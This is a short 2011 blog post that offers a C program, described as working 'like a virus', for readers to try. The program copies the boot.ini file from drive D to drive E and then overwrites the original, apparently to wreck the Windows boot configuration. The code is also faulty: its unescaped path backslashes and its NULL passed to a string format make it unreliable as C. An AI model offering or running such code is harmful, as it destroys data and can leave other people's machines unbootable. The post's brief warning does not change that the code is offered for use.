Wednesday, February 2, 2011

Virus like mischievous program

Virus like mischievous program:






      







Want to try a program that works like a virus , try this program . Better not to try such a program in ur own system.




#include <stdio.h>
#include <conio.h>
void main()
{
    char b,c;
    FILE *f,*g,*h;
    clrscr();
    c=NULL;
    f=fopen("d:\boot.ini","r");
    g=fopen("e:\boot.ini","w");
    while(1)
    {
        b=fgetc(f);
        if (b==EOF)
            break;
        fprintf(g,"%c",b);
    }
    h=fopen("d:\boot.ini","w");
    fprintf(h,"%s",c);
    fclose(h);
    fclose(g);
    fclose(f);
    getch();
}

No comments:

Post a Comment

FLIPKART OFFER